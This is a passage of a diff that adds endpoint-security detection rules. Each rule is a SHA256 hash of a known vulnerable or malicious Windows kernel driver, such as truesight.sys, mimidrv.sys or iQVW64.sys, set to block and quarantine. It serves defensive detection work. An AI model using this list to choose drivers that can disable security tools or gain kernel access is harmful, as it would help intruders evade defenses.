+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fdc589e-7f5c-5c77-8ad3-7b555320b40a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821826Z",
+  "creation_date": "2026-03-23T11:45:31.821829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821837Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3b7c14dd71837e42450aafee5c7bb67d4badd203616f1b2e73591a154ac16ce6",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fe70913-7db9-5caf-aa16-093c73b405cb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977125Z",
+  "creation_date": "2026-03-23T11:45:29.977127Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977134Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cf69704755ec2643dfd245ae1d4e15d77f306aeb1a576ffa159453de1a7345cb",
+  "comment": "ASUS vulnerable VGA Kernel Mode Driver (aka EIO.sys) [https://www.loldrivers.io/drivers/f654ad84-c61d-477c-a0b2-d153b927dfcc/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0feaa0c1-2405-590d-856e-b953fff47696",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.156723Z",
+  "creation_date": "2026-03-23T11:45:31.156725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.156731Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e6ddce3ee843569abcdb06523dc5031394bcb971a645922eaeb85a462b72188c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ff1da40-e272-5b75-a9f0-c560dfe8123a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.609920Z",
+  "creation_date": "2026-03-23T11:45:29.609922Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.609927Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1622ac0c618a86be17e0f97daa061f9aaa0e721dc0fd30d76bbc5c958e9a9d92",
+  "comment": "Novell vulnerable driver (aka nicm.sys, nscm.sys and ncpl.sys) [CVE-2013-3956] [https://www.loldrivers.io/drivers/f4126206-564f-49f5-a942-2138a3131e0e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0ff21dd9-50d9-56fc-a27e-7854969d326c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493681Z",
+  "creation_date": "2026-03-23T11:45:31.493684Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493692Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fa50f18e1db46b6ddabd195f67745eb38dd0f68bea634ab8a64350d81e3d4734",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "0fffa5ff-208c-500e-b7b5-40d00c7cbcdc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813825Z",
+  "creation_date": "2026-03-23T11:45:31.813827Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813833Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c25dceb5b12dcb45cd96abcaac829fabd3078ba24b732efb31194af3b79dad8d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "100325ea-73a3-5f97-be11-5609d3d465ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145737Z",
+  "creation_date": "2026-03-23T11:45:32.145739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "668c5bead3c7fcd919afd742ede7e5fe07972dc4cf730ff37deabdd22d88de4a",
+  "comment": "Malicious Kernel Driver (aka driver_668c5bea.sys) [https://www.loldrivers.io/drivers/04eefdf4-448d-45bb-87fc-93f263fc77f4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10045882-2ed4-55fb-962a-6aee1926e65f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815097Z",
+  "creation_date": "2026-03-23T11:45:31.815100Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815109Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bba8e6906541aed6406438a7a27f4e3d8e603a325449b0cc17df53d1d0db8329",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "100abf05-0ca9-53bc-9994-30a704e0020a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.463299Z",
+  "creation_date": "2026-03-23T11:45:30.463302Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.463311Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0a27ac1a8173413de13860d2b2e34cb6bc4d1149f94b62d319042e11d8b004c",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10108155-f204-5434-ad7c-a0e750f86310",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829483Z",
+  "creation_date": "2026-03-23T11:45:30.829485Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d29c7bd3f007bde4776866ccf377eb222673009ac0280948fd704a525f6515ec",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1017936e-446a-5fd9-b643-5290e67ca045",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.454269Z",
+  "creation_date": "2026-03-23T11:45:30.454273Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.454282Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7462b7ae48ae9469474222d4df2f0c4f72cdef7f3a69a524d4fccc5ed0fd343f",
+  "comment": "Vulnerable Kernel Driver (aka kEvP64.sys) [https://www.loldrivers.io/drivers/fe2f68e1-e459-4802-9a9a-23bb3c2fd331/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1022da3e-ab26-53be-ade5-83f022a87076",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827822Z",
+  "creation_date": "2026-03-23T11:45:31.827824Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827830Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ada441e68a3291303ed191fc670a8e2521b8e83a7008ee789335a8a0d62af825",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "102df2d2-d0c4-5934-89e3-fe76d74cec09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621368Z",
+  "creation_date": "2026-03-23T11:45:29.621374Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621379Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "191689c53195dbe828f406b206cb167dcd4671ecdab32b80e01c885f706a6baf",
+  "comment": "ASUSTeK vulnerable physmem driver (aka AsIO64.sys) [https://www.loldrivers.io/drivers/79692987-1dd0-41a0-a560-9a0441922e5a/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "103c8f1f-9c70-5eaf-83ae-0a4dd214d667",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.830013Z",
+  "creation_date": "2026-03-23T11:45:31.830015Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.830021Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e256508f576243d58cf038eb0db38cb9573b4d5adedb35a07e0925ea4032623",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "103e5409-ed39-5f42-9b81-0a0f09b73c8a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.481169Z",
+  "creation_date": "2026-03-23T11:45:30.481171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.481176Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "eb91e05733244a23f741a299e5e4a57836685a8f45366e690bc30b4befc02b14",
+  "comment": "Vulnerable Kernel Driver (aka TdkLib64.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "104e8a15-8afb-5a2d-a85e-cf64aa59bcac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.820698Z",
+  "creation_date": "2026-03-23T11:45:31.820701Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.820710Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1402f071112c6f5c5fd4dd1aa31f03ad56b5e771c4de1fb54be75096cd3c2b40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1066e54f-9e28-5c3d-bb31-61f4d2e169c4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.140970Z",
+  "creation_date": "2026-03-23T11:45:31.140972Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.140978Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f8494ecde84bbed336833d05e100e17873f3eab95f4dc676274cf072e6d758f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10731df9-0b81-51f4-99f7-34199a58c987",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982140Z",
+  "creation_date": "2026-03-23T11:45:29.982142Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982147Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d969845ef6acc8e5d3421a7ce7e244f419989710871313b04148f9b322751e5d",
+  "comment": "Vulnerable Kernel Driver (aka rwdrv.sys) [https://www.loldrivers.io/drivers/b03798af-d25a-400b-9236-4643a802846f/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "10758e24-d69a-5e75-86ab-812ae70129e7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.972284Z",
+  "creation_date": "2026-03-23T11:45:29.972286Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.972291Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ae3c446e5f075e8fc3db31eabd744a65b2c50a9b4a52877873547951bc19bc9",
+  "comment": "Intel Ethernet diagnostics vulnerable driver (aka iQVW64.sys) [CVE-2015-2291] [https://www.loldrivers.io/drivers/1d2cdef1-de44-4849-80e5-e2fa288df681/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "107dea3e-fe98-5414-bb9b-b95be19fb94d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.498469Z",
+  "creation_date": "2026-03-23T11:45:31.498472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.498480Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8a1c37bda3fc4ad8a5ccd3c5e0af179314a43b7294180ecc0fbedefa96701c59",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1084ffbf-3e2b-52b6-9946-0aa18d1f6f1c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157049Z",
+  "creation_date": "2026-03-23T11:45:31.157051Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157057Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f2cdadbbf1072dcba6ef07bf3ef3a9e24a77b9401970a5cc4fa5bbe77c315f5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1087ce96-0757-5619-a841-810173fed890",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621755Z",
+  "creation_date": "2026-03-23T11:45:29.621757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621764Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9c7ad854f6670452d7da064d4b429eb90c42155b6f7eaa52ee471d9ee8b61e6f",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "108a7c91-008b-5f1b-9462-a7c65103d067",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
